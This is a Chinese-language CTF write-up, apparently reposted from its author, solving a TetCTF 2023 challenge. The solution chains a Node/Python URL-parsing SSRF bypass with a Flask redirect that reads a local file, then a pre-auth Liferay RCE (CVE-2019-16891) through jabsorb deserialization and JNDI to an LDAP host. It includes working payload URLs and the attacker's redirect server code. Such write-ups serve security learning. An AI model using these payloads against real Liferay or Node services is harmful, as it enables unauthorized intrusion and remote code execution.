TetCTF2023-amp-Liferay-CVE-2019-16891-Pre-Auth-RCE

admin 2024年10月29日00:08:55评论12 views字数 4825阅读16分5秒阅读模式

TetCTF2023&Liferay(CVE-2019-16891)(Pre-Auth RCE)

这周末打了这个比赛挺不错的一个,但是主要还是写一下这题,其他题虽然也有难度但是并不值得我记录

正文

首先这题被拆分为了两个部分,觉得两部分都挺有意思的,就单独讲讲

part1主要是利用node与python的requests的差异性绕过host限制

part2主要是仅仅通过一个GET触发Liferay的RCE

关于题目备份也是放在了我的Git里:https://github.com/Y4tacker/CTFBackup/tree/main/2023/TetCTF

Part1

首先一眼看到这个路由

1
app.post('/api/getImage', isAdmin, validate, async (req, res, next) => {

这里面有个鉴权操作,要求密码是Th!sIsS3xreT0但是长度不能大于12,很常规基础的考点了,通过数组就行?password[]=Th!sIsS3xreT0

12345678910
const isAdmin = (req, res, next) => {    try {        if (req.query.password.length > 12 || req.query.password != "Th!sIsS3xreT0") {            return res.send("You don't have permission")        }        next();    } catch (error) {        return res.status(500).send("Oops, something went wrong.");    }}

接着来看看剩下的代码

123456789101112131415161718192021222324
app.post('/api/getImage', isAdmin, validate, async (req, res, next) => {    try {        const url = req.body.url.toString()        let result = {}        if (IsValidProtocol(url)) {            const flag = isValidHost(url)            if (flag) {                console.log("[DEBUG]: " + url)                let res = await downloadImage(url)                result = res            } else {                result.status = false                result.data = "Invalid host i.ibb.co"            }        } else {            result.status = false            result.data = "Invalid url"        }        res.json(result)    } catch (error) {        res.status(500).send(error.stack)    }})

这里IsValidProtocol要求只能是http/https,isValidHost要求host只能是i.ibb.co这个图床网站(使用urlParse解析)

之后如果校验成功则会调用python去下载

1234567891011121314151617181920212223242526272829
f __name__ == '__main__':    try:        if (len(sys.argv) < 2):            exit()        url = sys.argv[1]        headers = {'user-agent': 'PythonBot/0.0.1'}        request = requests.session()        request.mount('file://', LocalFileAdapter())        # check extentsion        white_list_ext = ('.jpg', '.png', '.jpeg', '.gif')        vaild_extension = url.endswith(white_list_ext)        if (vaild_extension):            # check content-type            res = request.head(url, headers=headers, timeout=3)            if ('image' in res.headers.get("Content-type")                    or 'image' in res.headers.get("content-type")                    or 'image' in res.headers.get("Content-Type")):                r = request.get(url, headers=headers, timeout=3)                print(base64.b64encode(r.content))            else:                print(0)        else:            print(0)    except Exception as e:        # print e        print(0)

正常情况来说如果我们使用:http://[email protected]/1.png

node和python经过parse后访问的其实也都是http://i.ibb.co/1.png

那有没有什么办法让node和py行为相异,python的requests库是基于urllib实现的,这里我们看到去区分scheme, authority, path, query, fragment等部分是靠正则实现的TetCTF2023-amp-Liferay-CVE-2019-16891-Pre-Auth-RCE

对应的正则

12345678
URI_RE = re.compile(r"^(?:([a-zA-Z][a-zA-Z0-9+.-]*):)?"r"(?://([^\\/?#]*))?" 靠这些符号决定authority部分边界r"([^?#]*)"r"(?:\?([^#]*))?"r"(?:#(.*))?$",re.UNICODE | re.DOTALL,)

因此如果最终我们使用的url是

http://evil.com1232\@i.ibb.co/1.png

node部分则会正确解析出host为i.ibb.co

python部分由于遇到了\字符其实是把后面整体当成了path,最终访问的url其实是

http://evil.com1232/\@i.ibb.co/1.png

如图测试

TetCTF2023-amp-Liferay-CVE-2019-16891-Pre-Auth-RCE

在这个基础上我们可以配合flask简单写个解析这个畸形路径的请求并重定向到指定位置即可完成ssrf

123456789101112131415
from flask import Flask,requestfrom urllib.parse import quoteimport requestsapp = Flask(__name__)@app.route('/\\@i.ibb.co/1.png')def hello_world():    return "login fail", 302, [("Content-Type", "image"), ("Location", "file:///usr/src/app/fl4gg_tetCTF")]    # return"23333"if __name__ == '__main__':    app.run(host="0.0.0.0",port="1239",debug=False)

Part2

第二部分是这个Liferay的一个前台RCE,看DockerFile可以看到这个版本

TetCTF2023-amp-Liferay-CVE-2019-16891-Pre-Auth-RCE

网上较多的是关于cve-2020-7961的内容,也就是靠/api/jsonws/xxxx去实现的RCE

然而这里有两个限制

第一个,从part1部分我们能得到一点,我们的SSRF只能触发一个GET请求

第二个,这里对路由做了些限制,也就是说我们的api相关路由都不能访问了咋办呢?

TetCTF2023-amp-Liferay-CVE-2019-16891-Pre-Auth-RCE

关于这个我在网上搜索发现出题人曾发了一个这个文章

https://vsrc.vng.com.vn/blog/liferay-revisited-a-tale-of-20k/

在文章最后提到了这点验证了我们的猜想,同时也知道了大概也是和json反序列化有关

TetCTF2023-amp-Liferay-CVE-2019-16891-Pre-Auth-RCE

之后的话又看到一篇文章

https://dappsec.substack.com/p/an-advisory-for-cve-2019-16891-from

这里像我们展示了一个新的路由

TetCTF2023-amp-Liferay-CVE-2019-16891-Pre-Auth-RCE

从struts-config.xml当中可以看到对应的全类名

1
<action path="/portal/portlet_url" type="com.liferay.portal.action.PortletURLAction" />

这个类在/liferay-portal-6.1.2-ce-ga3/tomcat-7.0.40/webapps/ROOT/WEB-INF/lib/portal-impl.jar!/com/liferay/portal/action/PortletURLAction.class

从这里也可以看出是GET传参数也可以

TetCTF2023-amp-Liferay-CVE-2019-16891-Pre-Auth-RCE

TetCTF2023-amp-Liferay-CVE-2019-16891-Pre-Auth-RCE

再往下看,可以得知这里是可以触发liferay的json反序列化

TetCTF2023-amp-Liferay-CVE-2019-16891-Pre-Auth-RCE

这里我们挑重点来讲,最终反序列化会触发org.jabsorb.JSONSerializer#unmarshall

这里他会调用getSerializer去选择一个能满足反序列化该javaCLass的类

TetCTF2023-amp-Liferay-CVE-2019-16891-Pre-Auth-RCETetCTF2023-amp-Liferay-CVE-2019-16891-Pre-Auth-RCE

首先遍历serializableMap看有没有该javaClass直接对应映射的处理,这个serializableMap当中有很多,但大多都是一些基础类型的类的处理

TetCTF2023-amp-Liferay-CVE-2019-16891-Pre-Auth-RCE

没有的话它会继续遍历serializerList看看有没有能处理该类的,也就是其canSerialize返回true

TetCTF2023-amp-Liferay-CVE-2019-16891-Pre-Auth-RCE

我们只需要关注两个即可,其他的也是一些基础类型之类的不需要过多关注

一个是com.liferay.portal.json.jabsorb.serializer.LiferaySerializer

12345678910
public boolean canSerialize(Class clazz, Class jsonClass) {        Constructor constructor = null;        try {            constructor = clazz.getConstructor();        } catch (Exception var4) {        }        return Serializable.class.isAssignableFrom(clazz) && (jsonClass == null || jsonClass == JSONObject.class) && constructor != null;    }

其对应的unmarshall方法当中,我们可以很清楚的看到只是通过一些反射去对class对应字段赋值

TetCTF2023-amp-Liferay-CVE-2019-16891-Pre-Auth-RCE

另一个是org.jabsorb.serializer.impl.BeanSerializer

123
public boolean canSerialize(Class clazz, Class jsonClazz) {        return !clazz.isArray() && !clazz.isPrimitive() && !clazz.isInterface() && (jsonClazz == null || jsonClazz == JSONObject.class);    }

其对应的unmarshall方法当中,则是调用对应的setter方法,这符合我们的要求

TetCTF2023-amp-Liferay-CVE-2019-16891-Pre-Auth-RCE

这两个类处理最大的区别就是javaClasss是否继承了Serializable接口,因此我们找恶意类条件就是不能继承Serializable接口,同时set方法有恶意操作,这种时候就去看fastjson和jackson的黑名单就可以了

比如jackson里面黑名单里的一个类刚好在我们liferay当中

TetCTF2023-amp-Liferay-CVE-2019-16891-Pre-Auth-RCE

同时其set方法有一个能直接触发jndi的

TetCTF2023-amp-Liferay-CVE-2019-16891-Pre-Auth-RCE

最终我们把这串代码放进之前的恶意flask触发重定向后,通过jndi攻击内网服务

1
http://admin-portal:80/c/portal/portlet_url?parameterMap={"javaClass":"org.hibernate.jmx.StatisticsService","sessionFactoryJNDIName":"ldap://ip"}

- source:y4tacker

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日00:08:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   TetCTF2023-amp-Liferay-CVE-2019-16891-Pre-Auth-RCEhttp://cn-sec.com/archives/3314687.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息